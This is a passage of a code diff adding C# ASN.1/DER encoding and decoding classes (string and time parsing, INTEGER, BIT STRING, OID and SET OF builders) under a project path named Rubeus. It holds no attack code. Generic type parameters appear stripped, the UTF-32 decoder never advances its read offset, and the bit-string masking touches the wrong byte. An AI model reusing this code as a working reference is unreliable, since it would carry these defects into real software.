+ if (len == 0) {
+ return "";
+ }
+ bool be = true;
+ if (buf[off] == 0x00
+ && buf[off + 1] == 0x00
+ && buf[off + 2] == 0xFE
+ && buf[off + 3] == 0xFF)
+ {
+ off += 4;
+ len --;
+ } else if (buf[off] == 0xFF
+ && buf[off + 1] == 0xFE
+ && buf[off + 2] == 0x00
+ && buf[off + 3] == 0x00)
+ {
+ off += 4;
+ len --;
+ be = false;
+ }
+
+ char[] tc = null;
+ for (int k = 0; k < 2; k ++) {
+ int tcOff = 0;
+ for (int i = 0; i < len; i ++) {
+ uint b0 = buf[off + 0];
+ uint b1 = buf[off + 1];
+ uint b2 = buf[off + 2];
+ uint b3 = buf[off + 3];
+ uint c;
+ if (be) {
+ c = (b0 << 24) | (b1 << 16)
+ | (b2 << 8) | b3;
+ } else {
+ c = (b3 << 24) | (b2 << 16)
+ | (b1 << 8) | b0;
+ }
+ if (c > 0x10FFFF) {
+ throw BadChar((int)c, UniversalString);
+ }
+ if (c > 0xFFFF) {
+ c -= 0x10000;
+ int hi = 0xD800 + (int)(c >> 10);
+ int lo = 0xDC00 + (int)(c & 0x3FF);
+ if (tc != null) {
+ tc[tcOff] = (char)hi;
+ tc[tcOff + 1] = (char)lo;
+ }
+ tcOff += 2;
+ } else {
+ if (tc != null) {
+ tc[tcOff] = (char)c;
+ }
+ tcOff ++;
+ }
+ }
+ if (tc == null) {
+ tc = new char[tcOff];
+ }
+ }
+ VerifyChars(tc, UniversalString);
+ return new string(tc);
+ }
+
+ static void VerifyChars(char[] tc, int type)
+ {
+ switch (type) {
+ case NumericString:
+ foreach (char c in tc) {
+ if (!IsNum(c)) {
+ throw BadChar(c, type);
+ }
+ }
+ return;
+ case PrintableString:
+ case UTCTime:
+ case GeneralizedTime:
+ foreach (char c in tc) {
+ if (!IsPrintable(c)) {
+ throw BadChar(c, type);
+ }
+ }
+ return;
+ case IA5String:
+ foreach (char c in tc) {
+ if (!IsIA5(c)) {
+ throw BadChar(c, type);
+ }
+ }
+ return;
+ case TeletexString:
+ foreach (char c in tc) {
+ if (!IsLatin1(c)) {
+ throw BadChar(c, type);
+ }
+ }
+ return;
+ }
+
+ /*
+ * For Unicode string types (UTF-8, BMP...).
+ */
+ for (int i = 0; i < tc.Length; i ++) {
+ int c = tc[i];
+ if (c >= 0xFDD0 && c <= 0xFDEF) {
+ throw BadChar(c, type);
+ }
+ if (c == 0xFFFE || c == 0xFFFF) {
+ throw BadChar(c, type);
+ }
+ if (c < 0xD800 || c > 0xDFFF) {
+ continue;
+ }
+ if (c > 0xDBFF) {
+ throw BadChar(c, type);
+ }
+ int hi = c & 0x3FF;
+ if (++ i >= tc.Length) {
+ throw BadChar(c, type);
+ }
+ c = tc[i];
+ if (c < 0xDC00 || c > 0xDFFF) {
+ throw BadChar(c, type);
+ }
+ int lo = c & 0x3FF;
+ c = 0x10000 + lo + (hi << 10);
+ if ((c & 0xFFFE) == 0xFFFE) {
+ throw BadChar(c, type);
+ }
+ }
+ }
+
+ static bool IsNum(int c)
+ {
+ return c == ' ' || (c >= '0' && c <= '9');
+ }
+
+ internal static bool IsPrintable(int c)
+ {
+ if (c >= 'A' && c <= 'Z') {
+ return true;
+ }
+ if (c >= 'a' && c <= 'z') {
+ return true;
+ }
+ if (c >= '0' && c <= '9') {
+ return true;
+ }
+ switch (c) {
+ case ' ': case '(': case ')': case '+':
+ case ',': case '-': case '.': case '/':
+ case ':': case '=': case '?': case '\'':
+ return true;
+ default:
+ return false;
+ }
+ }
+
+ static bool IsIA5(int c)
+ {
+ return c < 128;
+ }
+
+ static bool IsLatin1(int c)
+ {
+ return c < 256;
+ }
+
+ static AsnException BadByte(int c, int type)
+ {
+ return new AsnException(String.Format(
+ "unexpected byte 0x{0:X2} in string of type {1}",
+ c, type));
+ }
+
+ static AsnException BadChar(int c, int type)
+ {
+ return new AsnException(String.Format(
+ "unexpected character U+{0:X4} in string of type {1}",
+ c, type));
+ }
+
+ /*
+ * Decode the value as a date/time. Returned object is in UTC.
+ * Type of date is inferred from the tag value.
+ */
+ public DateTime GetTime()
+ {
+ if (TagClass != UNIVERSAL) {
+ throw new AsnException(String.Format(
+ "cannot infer date type: {0}:{1}",
+ TagClass, TagValue));
+ }
+ return GetTime(TagValue);
+ }
+
+ /*
+ * Decode the value as a date/time. Returned object is in UTC.
+ * The time string type is provided as parameter (UTCTime or
+ * GeneralizedTime).
+ */
+ public DateTime GetTime(int type)
+ {
+ bool isGen = false;
+ switch (type) {
+ case UTCTime:
+ break;
+ case GeneralizedTime:
+ isGen = true;
+ break;
+ default:
+ throw new AsnException(
+ "unsupported date type: " + type);
+ }
+ string s = GetString(type);
+ string orig = s;
+
+ /*
+ * UTCTime has format:
+ * YYMMDDhhmm[ss](Z|(+|-)hhmm)
+ *
+ * GeneralizedTime has format:
+ * YYYYMMDDhhmmss[.uu*][Z|(+|-)hhmm]
+ *
+ * Differences between the two types:
+ * -- UTCTime encodes year over two digits; GeneralizedTime
+ * uses four digits. UTCTime years map to 1950..2049 (00 is
+ * 2000).
+ * -- Seconds are optional with UTCTime, mandatory with
+ * GeneralizedTime.
+ * -- GeneralizedTime can have fractional seconds (optional).
+ * -- Time zone is optional for GeneralizedTime. However,
+ * a missing time zone means "local time" which depends on
+ * the locality, so this is discouraged.
+ *
+ * Some other notes:
+ * -- If there is a fractional second, then it must include
+ * at least one digit. This implementation processes the
+ * first three digits, and ignores the rest (if present).
+ * -- Time zone offset ranges from -23:59 to +23:59.
+ * -- The calendar computations are delegated to .NET's
+ * DateTime (and DateTimeOffset) so this implements a
+ * Gregorian calendar, even for dates before 1589. Year 0
+ * is not supported.
+ */
+
+ /*
+ * Check characters.
+ */
+ foreach (char c in s) {
+ if (c >= '0' && c <= '9') {
+ continue;
+ }
+ if (c == '.' || c == '+' || c == '-' || c == 'Z') {
+ continue;
+ }
+ throw BadTime(type, orig);
+ }
+
+ bool good = true;
+
+ /*
+ * Parse the time zone.
+ */
+ int tzHours = 0;
+ int tzMinutes = 0;
+ bool negZ = false;
+ bool noTZ = false;
+ if (s.EndsWith("Z")) {
+ s = s.Substring(0, s.Length - 1);
+ } else {
+ int j = s.IndexOf('+');
+ if (j < 0) {
+ j = s.IndexOf('-');
+ negZ = true;
+ }
+ if (j < 0) {
+ noTZ = true;
+ } else {
+ string t = s.Substring(j + 1);
+ s = s.Substring(0, j);
+ if (t.Length != 4) {
+ throw BadTime(type, orig);
+ }
+ tzHours = Dec2(t, 0, ref good);
+ tzMinutes = Dec2(t, 2, ref good);
+ if (tzHours < 0 || tzHours > 23
+ || tzMinutes < 0 || tzMinutes > 59)
+ {
+ throw BadTime(type, orig);
+ }
+ }
+ }
+
+ /*
+ * Lack of time zone is allowed only for GeneralizedTime.
+ */
+ if (noTZ && !isGen) {
+ throw BadTime(type, orig);
+ }
+
+ /*
+ * Parse the date elements.
+ */
+ if (s.Length < 4) {
+ throw BadTime(type, orig);
+ }
+ int year = Dec2(s, 0, ref good);
+ if (isGen) {
+ year = year * 100 + Dec2(s, 2, ref good);
+ s = s.Substring(4);
+ } else {
+ if (year < 50) {
+ year += 100;
+ }
+ year += 1900;
+ s = s.Substring(2);
+ }
+ int month = Dec2(s, 0, ref good);
+ int day = Dec2(s, 2, ref good);
+ int hour = Dec2(s, 4, ref good);
+ int minute = Dec2(s, 6, ref good);
+ int second = 0;
+ int millisecond = 0;
+ if (isGen) {
+ second = Dec2(s, 8, ref good);
+ if (s.Length >= 12 && s[10] == '.') {
+ s = s.Substring(11);
+ foreach (char c in s) {
+ if (c < '0' || c > '9') {
+ good = false;
+ break;
+ }
+ }
+ s += "0000";
+ millisecond = 10 * Dec2(s, 0, ref good)
+ + Dec2(s, 2, ref good) / 10;
+ } else if (s.Length != 10) {
+ good = false;
+ }
+ } else {
+ switch (s.Length) {
+ case 8:
+ break;
+ case 10:
+ second = Dec2(s, 8, ref good);
+ break;
+ default:
+ throw BadTime(type, orig);
+ }
+ }
+
+ /*
+ * Parsing is finished; if any error occurred, then
+ * the 'good' flag has been cleared.
+ */
+ if (!good) {
+ throw BadTime(type, orig);
+ }
+
+ /*
+ * Leap seconds are not supported by .NET, so we claim
+ * they do not occur.
+ */
+ if (second == 60) {
+ second = 59;
+ }
+
+ /*
+ * .NET implementation performs all the checks (including
+ * checks on month length depending on year, as per the
+ * proleptic Gregorian calendar).
+ */
+ try {
+ if (noTZ) {
+ DateTime dt = new DateTime(year, month, day,
+ hour, minute, second, millisecond,
+ DateTimeKind.Local);
+ return dt.ToUniversalTime();
+ }
+ TimeSpan tzOff = new TimeSpan(tzHours, tzMinutes, 0);
+ if (negZ) {
+ tzOff = tzOff.Negate();
+ }
+ DateTimeOffset dto = new DateTimeOffset(
+ year, month, day, hour, minute, second,
+ millisecond, tzOff);
+ return dto.UtcDateTime;
+ } catch (Exception e) {
+ throw BadTime(type, orig, e);
+ }
+ }
+
+ static int Dec2(string s, int off, ref bool good)
+ {
+ if (off < 0 || off >= (s.Length - 1)) {
+ good = false;
+ return -1;
+ }
+ char c1 = s[off];
+ char c2 = s[off + 1];
+ if (c1 < '0' || c1 > '9' || c2 < '0' || c2 > '9') {
+ good = false;
+ return -1;
+ }
+ return 10 * (c1 - '0') + (c2 - '0');
+ }
+
+ static AsnException BadTime(int type, string s)
+ {
+ return BadTime(type, s, null);
+ }
+
+ static AsnException BadTime(int type, string s, Exception e)
+ {
+ string tt = (type == UTCTime) ? "UTCTime" : "GeneralizedTime";
+ string msg = String.Format("invalid {0} string: '{1}'", tt, s);
+ if (e == null) {
+ return new AsnException(msg);
+ } else {
+ return new AsnException(msg, e);
+ }
+ }
+
+ /* =============================================================== */
+
+ /*
+ * Create a new element for a primitive value. The provided buffer
+ * is internally copied.
+ */
+ public static AsnElt MakePrimitive(int tagValue, byte[] val)
+ {
+ return MakePrimitive(UNIVERSAL, tagValue, val, 0, val.Length);
+ }
+
+ /*
+ * Create a new element for a primitive value. The provided buffer
+ * is internally copied.
+ */
+ public static AsnElt MakePrimitive(int tagValue,
+ byte[] val, int off, int len)
+ {
+ return MakePrimitive(UNIVERSAL, tagValue, val, off, len);
+ }
+
+ /*
+ * Create a new element for a primitive value. The provided buffer
+ * is internally copied.
+ */
+ public static AsnElt MakePrimitive(
+ int tagClass, int tagValue, byte[] val)
+ {
+ return MakePrimitive(tagClass, tagValue, val, 0, val.Length);
+ }
+
+ /*
+ * Create a new element for a primitive value. The provided buffer
+ * is internally copied.
+ */
+ public static AsnElt MakePrimitive(int tagClass, int tagValue,
+ byte[] val, int off, int len)
+ {
+ byte[] nval = new byte[len];
+ Array.Copy(val, off, nval, 0, len);
+ return MakePrimitiveInner(tagClass, tagValue, nval, 0, len);
+ }
+
+ /*
+ * Like MakePrimitive(), but the provided array is NOT copied.
+ * This is for other factory methods that already allocate a
+ * new array.
+ */
+ static AsnElt MakePrimitiveInner(int tagValue, byte[] val)
+ {
+ return MakePrimitiveInner(UNIVERSAL, tagValue,
+ val, 0, val.Length);
+ }
+
+ static AsnElt MakePrimitiveInner(int tagValue,
+ byte[] val, int off, int len)
+ {
+ return MakePrimitiveInner(UNIVERSAL, tagValue, val, off, len);
+ }
+
+ static AsnElt MakePrimitiveInner(int tagClass, int tagValue, byte[] val)
+ {
+ return MakePrimitiveInner(tagClass, tagValue,
+ val, 0, val.Length);
+ }
+
+ static AsnElt MakePrimitiveInner(int tagClass, int tagValue,
+ byte[] val, int off, int len)
+ {
+ AsnElt a = new AsnElt();
+ a.objBuf = new byte[len];
+ Array.Copy(val, off, a.objBuf, 0, len);
+ a.objOff = 0;
+ a.objLen = -1;
+ a.valOff = 0;
+ a.valLen = len;
+ a.hasEncodedHeader = false;
+ if (tagClass < 0 || tagClass > 3) {
+ throw new AsnException(
+ "invalid tag class: " + tagClass);
+ }
+ if (tagValue < 0) {
+ throw new AsnException(
+ "invalid tag value: " + tagValue);
+ }
+ a.TagClass = tagClass;
+ a.TagValue = tagValue;
+ a.Sub = null;
+ return a;
+ }
+
+ /*
+ * Create a new INTEGER value for the provided integer.
+ */
+ public static AsnElt MakeInteger(long x)
+ {
+ if (x >= 0) {
+ return MakeInteger((ulong)x);
+ }
+ int k = 1;
+ for (long w = x; w <= -(long)0x80; w >>= 8) {
+ k ++;
+ }
+ byte[] v = new byte[k];
+ for (long w = x; k > 0; w >>= 8) {
+ v[-- k] = (byte)w;
+ }
+ return MakePrimitiveInner(INTEGER, v);
+ }
+
+ /*
+ * Create a new INTEGER value for the provided integer.
+ */
+ public static AsnElt MakeInteger(ulong x)
+ {
+ int k = 1;
+ for (ulong w = x; w >= 0x80; w >>= 8) {
+ k ++;
+ }
+ byte[] v = new byte[k];
+ for (ulong w = x; k > 0; w >>= 8) {
+ v[-- k] = (byte)w;
+ }
+ return MakePrimitiveInner(INTEGER, v);
+ }
+
+ /*
+ * Create a new INTEGER value for the provided integer. The x[]
+ * array uses _unsigned_ big-endian encoding.
+ */
+ public static AsnElt MakeInteger(byte[] x)
+ {
+ int xLen = x.Length;
+ int j = 0;
+ while (j < xLen && x[j] == 0x00) {
+ j ++;
+ }
+ if (j == xLen) {
+ return MakePrimitiveInner(INTEGER, new byte[] { 0x00 });
+ }
+ byte[] v;
+ if (x[j] < 0x80) {
+ v = new byte[xLen - j];
+ Array.Copy(x, j, v, 0, v.Length);
+ } else {
+ v = new byte[1 + xLen - j];
+ Array.Copy(x, j, v, 1, v.Length - 1);
+ }
+ return MakePrimitiveInner(INTEGER, v);
+ }
+
+ /*
+ * Create a new INTEGER value for the provided integer. The x[]
+ * array uses _signed_ big-endian encoding.
+ */
+ public static AsnElt MakeIntegerSigned(byte[] x)
+ {
+ int xLen = x.Length;
+ if (xLen == 0) {
+ throw new AsnException(
+ "Invalid signed integer (empty)");
+ }
+ int j = 0;
+ if (x[0] >= 0x80) {
+ while (j < (xLen - 1)
+ && x[j] == 0xFF
+ && x[j + 1] >= 0x80)
+ {
+ j ++;
+ }
+ } else {
+ while (j < (xLen - 1)
+ && x[j] == 0x00
+ && x[j + 1] < 0x80)
+ {
+ j ++;
+ }
+ }
+ byte[] v = new byte[xLen - j];
+ Array.Copy(x, j, v, 0, v.Length);
+ return MakePrimitiveInner(INTEGER, v);
+ }
+
+ /*
+ * Create a BIT STRING from the provided value. The number of
+ * "unused bits" is set to 0.
+ */
+ public static AsnElt MakeBitString(byte[] buf)
+ {
+ return MakeBitString(buf, 0, buf.Length);
+ }
+
+ public static AsnElt MakeBitString(byte[] buf, int off, int len)
+ {
+ byte[] tmp = new byte[len + 1];
+ Array.Copy(buf, off, tmp, 1, len);
+ return MakePrimitiveInner(BIT_STRING, tmp);
+ }
+
+ /*
+ * Create a BIT STRING from the provided value. The number of
+ * "unused bits" is specified.
+ */
+ public static AsnElt MakeBitString(int unusedBits, byte[] buf)
+ {
+ return MakeBitString(unusedBits, buf, 0, buf.Length);
+ }
+
+ public static AsnElt MakeBitString(int unusedBits,
+ byte[] buf, int off, int len)
+ {
+ if (unusedBits < 0 || unusedBits > 7
+ || (unusedBits != 0 && len == 0))
+ {
+ throw new AsnException(
+ "Invalid number of unused bits in BIT STRING: "
+ + unusedBits);
+ }
+ byte[] tmp = new byte[len + 1];
+ tmp[0] = (byte)unusedBits;
+ Array.Copy(buf, off, tmp, 1, len);
+ if (len > 0) {
+ tmp[len - 1] &= (byte)(0xFF << unusedBits);
+ }
+ return MakePrimitiveInner(BIT_STRING, tmp);
+ }
+
+ /*
+ * Create an OCTET STRING from the provided value.
+ */
+ public static AsnElt MakeBlob(byte[] buf)
+ {
+ return MakeBlob(buf, 0, buf.Length);
+ }
+
+ public static AsnElt MakeBlob(byte[] buf, int off, int len)
+ {
+ return MakePrimitive(OCTET_STRING, buf, off, len);
+ }
+
+ /*
+ * Create a new constructed elements, by providing the relevant
+ * sub-elements.
+ */
+ public static AsnElt Make(int tagValue, params AsnElt[] subs)
+ {
+ return Make(UNIVERSAL, tagValue, subs);
+ }
+
+ /*
+ * Create a new constructed elements, by providing the relevant
+ * sub-elements.
+ */
+ public static AsnElt Make(int tagClass, int tagValue,
+ params AsnElt[] subs)
+ {
+ AsnElt a = new AsnElt();
+ a.objBuf = null;
+ a.objOff = 0;
+ a.objLen = -1;
+ a.valOff = 0;
+ a.valLen = -1;
+ a.hasEncodedHeader = false;
+ if (tagClass < 0 || tagClass > 3) {
+ throw new AsnException(
+ "invalid tag class: " + tagClass);
+ }
+ if (tagValue < 0) {
+ throw new AsnException(
+ "invalid tag value: " + tagValue);
+ }
+ a.TagClass = tagClass;
+ a.TagValue = tagValue;
+ if (subs == null) {
+ a.Sub = new AsnElt[0];
+ } else {
+ a.Sub = new AsnElt[subs.Length];
+ Array.Copy(subs, 0, a.Sub, 0, subs.Length);
+ }
+ return a;
+ }
+
+ /*
+ * Create a SET OF: sub-elements are automatically sorted by
+ * lexicographic order of their DER encodings. Identical elements
+ * are merged.
+ */
+ public static AsnElt MakeSetOf(params AsnElt[] subs)
+ {
+ AsnElt a = new AsnElt();
+ a.objBuf = null;
+ a.objOff = 0;
+ a.objLen = -1;
+ a.valOff = 0;
+ a.valLen = -1;
+ a.hasEncodedHeader = false;
+ a.TagClass = UNIVERSAL;
+ a.TagValue = SET;
+ if (subs == null) {
+ a.Sub = new AsnElt[0];
+ } else {
+ SortedDictionary d =
+ new SortedDictionary(
+ COMPARER_LEXICOGRAPHIC);
+ foreach (AsnElt ax in subs) {
+ d[ax.Encode()] = ax;
+ }
+ AsnElt[] tmp = new AsnElt[d.Count];
+ int j = 0;
+ foreach (AsnElt ax in d.Values) {
+ tmp[j ++] = ax;
+ }
+ a.Sub = tmp;
+ }
+ return a;
+ }
+
+ static IComparer COMPARER_LEXICOGRAPHIC =
+ new ComparerLexicographic();
+
+ class ComparerLexicographic : IComparer {
+
+ public int Compare(byte[] x, byte[] y)
+ {
+ int xLen = x.Length;
+ int yLen = y.Length;
+ int cLen = Math.Min(xLen, yLen);
+ for (int i = 0; i < cLen; i ++) {
+ if (x[i] != y[i]) {
+ return (int)x[i] - (int)y[i];
+ }
+ }
+ return xLen - yLen;
+ }
+ }
+
+ /*
+ * Wrap an element into an explicit tag.
+ */
+ public static AsnElt MakeExplicit(int tagClass, int tagValue, AsnElt x)
+ {
+ return Make(tagClass, tagValue, x);
+ }
+
+ /*
+ * Wrap an element into an explicit CONTEXT tag.
+ */
+ public static AsnElt MakeExplicit(int tagValue, AsnElt x)
+ {
+ return Make(CONTEXT, tagValue, x);
+ }
+
+ /*
+ * Apply an implicit tag to a value. The source AsnElt object
+ * is unmodified; a new object is returned.
+ */
+ public static AsnElt MakeImplicit(int tagClass, int tagValue, AsnElt x)
+ {
+ if (x.Constructed) {
+ return Make(tagClass, tagValue, x.Sub);
+ }
+ AsnElt a = new AsnElt();
+ a.objBuf = x.GetValue(out a.valOff, out a.valLen);
+ a.objOff = 0;
+ a.objLen = -1;
+ a.hasEncodedHeader = false;
+ a.TagClass = tagClass;
+ a.TagValue = tagValue;
+ a.Sub = null;
+ return a;
+ }
+
+ public static AsnElt NULL_V = AsnElt.MakePrimitive(
+ NULL, new byte[0]);
+
+ public static AsnElt BOOL_TRUE = AsnElt.MakePrimitive(
+ BOOLEAN, new byte[] { 0xFF });
+ public static AsnElt BOOL_FALSE = AsnElt.MakePrimitive(
+ BOOLEAN, new byte[] { 0x00 });
+
+ /*
+ * Create an OBJECT IDENTIFIER from its string representation.
+ * This function tolerates extra leading zeros.
+ */
+ public static AsnElt MakeOID(string str)
+ {
+ List r = new List();
+ int n = str.Length;
+ long x = -1;
+ for (int i = 0; i < n; i ++) {
+ int c = str[i];
+ if (c == '.') {
+ if (x < 0) {
+ throw new AsnException(
+ "invalid OID (empty element)");
+ }
+ r.Add(x);
+ x = -1;
+ continue;
+ }
+ if (c < '0' || c > '9') {
+ throw new AsnException(String.Format(
+ "invalid character U+{0:X4} in OID",
+ c));
+ }
+ if (x < 0) {
+ x = 0;
+ } else if (x > ((Int64.MaxValue - 9) / 10)) {
+ throw new AsnException("OID element overflow");
+ }
+ x = x * (long)10 + (long)(c - '0');
+ }
+ if (x < 0) {
+ throw new AsnException(
+ "invalid OID (empty element)");
+ }
+ r.Add(x);
+ if (r.Count < 2) {
+ throw new AsnException(
+ "invalid OID (not enough elements)");
+ }
+ if (r[0] > 2 || r[1] > 40) {
+ throw new AsnException(
+ "invalid OID (first elements out of range)");
+ }
+
+ MemoryStream ms = new MemoryStream();
+ ms.WriteByte((byte)(40 * (int)r[0] + (int)r[1]));
+ for (int i = 2; i < r.Count; i ++) {
+ long v = r[i];
+ if (v < 0x80) {
+ ms.WriteByte((byte)v);
+ continue;
+ }
+ int k = -7;
+ for (long w = v; w != 0; w >>= 7, k += 7);
+ ms.WriteByte((byte)(0x80 + (int)(v >> k)));
+ for (k -= 7; k >= 0; k -= 7) {
+ int z = (int)(v >> k) & 0x7F;
+ if (k > 0) {
+ z |= 0x80;
+ }
+ ms.WriteByte((byte)z);
+ }
+ }
+ byte[] buf = ms.ToArray();
+ return MakePrimitiveInner(OBJECT_IDENTIFIER,
+ buf, 0, buf.Length);
+ }
+
+ /*
+ * Create a string of the provided type and contents. The string
+ * type is a universal tag value for one of the string or time
+ * types.
+ */
+ public static AsnElt MakeString(int type, string str)
+ {
+ VerifyChars(str.ToCharArray(), type);
+ byte[] buf;
+ switch (type) {
+ case NumericString:
+ case PrintableString:
+ case UTCTime:
+ case GeneralizedTime:
+ case IA5String:
+ case TeletexString:
+ buf = EncodeMono(str);
+ break;
+ case UTF8String:
+ buf = EncodeUTF8(str);
+ break;
+ case BMPString:
+ buf = EncodeUTF16(str);
+ break;
+ case UniversalString:
+ buf = EncodeUTF32(str);
+ break;
+ default:
+ throw new AsnException(
+ "unsupported string type: " + type);
+ }
+ return MakePrimitiveInner(type, buf);
+ }
+
+ static byte[] EncodeMono(string str)
+ {
+ byte[] r = new byte[str.Length];
+ int k = 0;
+ foreach (char c in str) {
+ r[k ++] = (byte)c;
+ }
+ return r;
+ }
+
+ /*
+ * Get the code point at offset 'off' in the string. Either one
+ * or two 'char' slots are used; 'off' is updated accordingly.
+ */
+ static int CodePoint(string str, ref int off)
+ {
+ int c = str[off ++];
+ if (c >= 0xD800 && c < 0xDC00 && off < str.Length) {
+ int d = str[off];
+ if (d >= 0xDC00 && d < 0xE000) {
+ c = ((c & 0x3FF) << 10)
+ + (d & 0x3FF) + 0x10000;
+ off ++;
+ }
+ }
+ return c;
+ }
+
+ static byte[] EncodeUTF8(string str)
+ {
+ int k = 0;
+ int n = str.Length;
+ MemoryStream ms = new MemoryStream();
+ while (k < n) {
+ int cp = CodePoint(str, ref k);
+ if (cp < 0x80) {
+ ms.WriteByte((byte)cp);
+ } else if (cp < 0x800) {
+ ms.WriteByte((byte)(0xC0 + (cp >> 6)));
+ ms.WriteByte((byte)(0x80 + (cp & 63)));
+ } else if (cp < 0x10000) {
+ ms.WriteByte((byte)(0xE0 + (cp >> 12)));
+ ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63)));
+ ms.WriteByte((byte)(0x80 + (cp & 63)));
+ } else {
+ ms.WriteByte((byte)(0xF0 + (cp >> 18)));
+ ms.WriteByte((byte)(0x80 + ((cp >> 12) & 63)));
+ ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63)));
+ ms.WriteByte((byte)(0x80 + (cp & 63)));
+ }
+ }
+ return ms.ToArray();
+ }
+
+ static byte[] EncodeUTF16(string str)
+ {
+ byte[] buf = new byte[str.Length << 1];
+ int k = 0;
+ foreach (char c in str) {
+ buf[k ++] = (byte)(c >> 8);
+ buf[k ++] = (byte)c;
+ }
+ return buf;
+ }
+
+ static byte[] EncodeUTF32(string str)
+ {
+ int k = 0;
+ int n = str.Length;
+ MemoryStream ms = new MemoryStream();
+ while (k < n) {
+ int cp = CodePoint(str, ref k);
+ ms.WriteByte((byte)(cp >> 24));
+ ms.WriteByte((byte)(cp >> 16));
+ ms.WriteByte((byte)(cp >> 8));
+ ms.WriteByte((byte)cp);
+ }
+ return ms.ToArray();
+ }
+
+ /*
+ * Create a time value of the specified type (UTCTime or
+ * GeneralizedTime).
+ */
+ public static AsnElt MakeTime(int type, DateTime dt)
+ {
+ dt = dt.ToUniversalTime();
+ string str;
+ switch (type) {
+ case UTCTime:
+ int year = dt.Year;
+ if (year < 1950 || year >= 2050) {
+ throw new AsnException(String.Format(
+ "cannot encode year {0} as UTCTime",
+ year));
+ }
+ year = year % 100;
+ str = String.Format(
+ "{0:d2}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}Z",
+ year, dt.Month, dt.Day,
+ dt.Hour, dt.Minute, dt.Second);
+ break;
+ case GeneralizedTime:
+ str = String.Format(
+ "{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}",
+ dt.Year, dt.Month, dt.Day,
+ dt.Hour, dt.Minute, dt.Second);
+ int millis = dt.Millisecond;
+ if (millis != 0) {
+ if (millis % 100 == 0) {
+ str = String.Format("{0}.{1:d1}",
+ str, millis / 100);
+ } else if (millis % 10 == 0) {
+ str = String.Format("{0}.{1:d2}",
+ str, millis / 10);
+ } else {
+ str = String.Format("{0}.{1:d3}",
+ str, millis);
+ }
+ }
+ str = str + "Z";
+ break;
+ default:
+ throw new AsnException(
+ "unsupported time type: " + type);
+ }
+ return MakeString(type, str);
+ }
+
+ /*
+ * Create a time value of the specified type (UTCTime or
+ * GeneralizedTime).
+ */
+ public static AsnElt MakeTime(int type, DateTimeOffset dto)
+ {
+ return MakeTime(type, dto.UtcDateTime);
+ }
+
+ /*
+ * Create a time value with an automatic type selection
+ * (UTCTime if year is in the 1950..2049 range, GeneralizedTime
+ * otherwise).
+ */
+ public static AsnElt MakeTimeAuto(DateTime dt)
+ {
+ dt = dt.ToUniversalTime();
+ return MakeTime((dt.Year >= 1950 && dt.Year <= 2049)
+ ? UTCTime : GeneralizedTime, dt);
+ }
+
+ /*
+ * Create a time value with an automatic type selection
+ * (UTCTime if year is in the 1950..2049 range, GeneralizedTime
+ * otherwise).
+ */
+ public static AsnElt MakeTimeAuto(DateTimeOffset dto)
+ {
+ return MakeTimeAuto(dto.UtcDateTime);
+ }
+}
+
+}
diff --git a/Rubeus/Asn1/AsnException.cs b/Rubeus/Asn1/AsnException.cs
new file mode 100755
index 00000000..77e0d172
--- /dev/null
+++ b/Rubeus/Asn1/AsnException.cs
@@ -0,0 +1,19 @@
+using System;
+using System.IO;
+
+namespace Asn1 {
+
+public class AsnException : IOException {
+
+ public AsnException(string message)
+ : base(message)
+ {
+ }
+
+ public AsnException(string message, Exception nested)
+ : base(message, nested)
+ {
+ }
+}
+
+}
diff --git a/Rubeus/Asn1/AsnIO.cs b/Rubeus/Asn1/AsnIO.cs
new file mode 100755
index 00000000..4ce8f25e
--- /dev/null
+++ b/Rubeus/Asn1/AsnIO.cs
@@ -0,0 +1,309 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace Asn1 {
+
+public static class AsnIO {
+
+ public static byte[] FindDER(byte[] buf)
+ {
+ return FindBER(buf, true);
+ }
+
+ public static byte[] FindBER(byte[] buf)
+ {
+ return FindBER(buf, false);
+ }
+
+ /*
+ * Find a BER/DER object in the provided buffer. If the data is
+ * not already in the right format, conversion to string then
+ * Base64 decoding is attempted; in the latter case, PEM headers
+ * are detected and skipped. In any case, the returned buffer
+ * must begin with a well-formed tag and length, corresponding to
+ * the object length.
+ *
+ * If 'strictDER' is true, then the function furthermore insists
+ * on the object to use a defined DER length.
+ *
+ * The returned buffer may be the source buffer itself, or a newly
+ * allocated buffer.
+ *
+ * On error, null is returned.
+ */
+ public static byte[] FindBER(byte[] buf, bool strictDER)
+ {
+ string pemType = null;
+ return FindBER(buf, strictDER, out pemType);
+ }
+
+ /*
+ * Find a BER/DER object in the provided buffer. If the data is
+ * not already in the right format, conversion to string then
+ * Base64 decoding is attempted; in the latter case, PEM headers
+ * are detected and skipped. In any case, the returned buffer
+ * must begin with a well-formed tag and length, corresponding to
+ * the object length.
+ *
+ * If 'strictDER' is true, then the function furthermore insists
+ * on the object to use a defined DER length.
+ *
+ * If the source was detected to use PEM, then the object type
+ * indicated by the PEM header is written in 'pemType'; otherwise,
+ * that variable is set to null.
+ *
+ * The returned buffer may be the source buffer itself, or a newly
+ * allocated buffer.
+ *
+ * On error, null is returned.
+ */
+ public static byte[] FindBER(byte[] buf,
+ bool strictDER, out string pemType)
+ {
+ pemType = null;
+
+ /*
+ * If it is already (from the outside) a BER object,
+ * return it.
+ */
+ if (LooksLikeBER(buf, strictDER)) {
+ return buf;
+ }
+
+ /*
+ * Convert the blob to a string. We support UTF-16 with
+ * and without a BOM, UTF-8 with and without a BOM, and
+ * ASCII-compatible encodings. Non-ASCII characters get
+ * truncated.
+ */
+ if (buf.Length < 3) {
+ return null;
+ }
+ string str = null;
+ if ((buf.Length & 1) == 0) {
+ if (buf[0] == 0xFE && buf[1] == 0xFF) {
+ // Starts with big-endian UTF-16 BOM
+ str = ConvertBi(buf, 2, true);
+ } else if (buf[0] == 0xFF && buf[1] == 0xFE) {
+ // Starts with little-endian UTF-16 BOM
+ str = ConvertBi(buf, 2, false);
+ } else if (buf[0] == 0) {
+ // First byte is 0 -> big-endian UTF-16
+ str = ConvertBi(buf, 0, true);
+ } else if (buf[1] == 0) {
+ // Second byte is 0 -> little-endian UTF-16
+ str = ConvertBi(buf, 0, false);
+ }
+ }
+ if (str == null) {
+ if (buf[0] == 0xEF
+ && buf[1] == 0xBB
+ && buf[2] == 0xBF)
+ {
+ // Starts with UTF-8 BOM
+ str = ConvertMono(buf, 3);
+ } else {
+ // Assumed ASCII-compatible mono-byte encoding
+ str = ConvertMono(buf, 0);
+ }
+ }
+ if (str == null) {
